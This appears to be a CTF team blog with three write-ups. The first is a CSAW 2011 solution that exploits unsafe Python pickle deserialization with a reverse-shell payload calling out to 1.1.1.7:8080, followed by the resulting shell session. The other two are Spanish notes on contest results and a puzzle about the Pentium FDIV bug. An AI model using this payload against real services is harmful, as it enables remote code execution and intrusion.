CSAW 2011 – Reversing – Python 200

Python – 200 Points 

nc csawctf.poly.edu 53080

When we connected to the port it was running a service Haderper:

-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
> help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

> derp hi
UydoaScKcDAKLg==
> underp UydoaScKcDAKLg==
hi
>

If we decode the base64 string we can see that it looks like a Pickle dump file:

$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0

After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.

# credits for this code goes to Jeff Epler
import pickle, new, base64

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080

And our listening nc gets the remote shell:

$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}

Key:38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db

You can see the code for the daemon here.

WGSBD2 – Campus Party Valencia 2011

Nuestro equipo NULL Life participó en el CTF de SecurityByDefault.com y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento :D

Los miembros del equipo que participaron Daniel (Colombia), g30rg3_x (Mexico), g05u (Perú), emyei (Argentina), Perverths0 (Perú) y snr33 (Perú). Brillo por su ausencia nuestro CISSP, CEH fataku por motivos de su trabajo, o eso dice el xD

Por cierto, esta entrada va desde el iPad obtenida en el CTF de Campus Party Colombia, me la entregaron el dia de ayer, y ya le estamos dando un buen uso. Este ha sido un buen año para NULL Life :D

PlaidCTF 2011 – Division is HARD!!

Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable.

Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro importante del equipo. Nos ubicamos por encima de los otros equipos Colombianos, el ultimo dia del ctf el equipo RICTeam nos logro empatar, pero teniamos un As bajo la manga y los pudimos dejar abajo faltando 5 minutos para terminar el CTF cuando ya poco podian hacer. Pueden ver la tabla de posiciones completa en el sitio de plaidctf.

Daniel publico la solucion para el reto I’m feeling lucky. Y por mi parte les publicare la solucion para Division is hard, esto para ayudarle a cierto equipo con casi 16 anios de experiencia que no pudo resolverlo (de hecho no resolvio ninguno) :C

«Division is HARD!!»
We found an old document in one of the AED offices. However, the text is distorted. Figure out what the corrupted value is.
1.3337 ~= XXXXXXX/3145727

Buscando en google los dos numeros presentados en el problema, podemos ver de que se trata, el error de hardware coprocesador de floating point que incluian algunos procesadores Pentium (hace 16 anios coincidencialmente ).

http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/

http://en.wikipedia.org/wiki/Pentium_FDIV_bug

Al realizar la division 4195835/3145727 en un procesador afectado devolvería 1.3337 cuando el resultado correcto es 1,3338. La respuesta del reto era 4195835.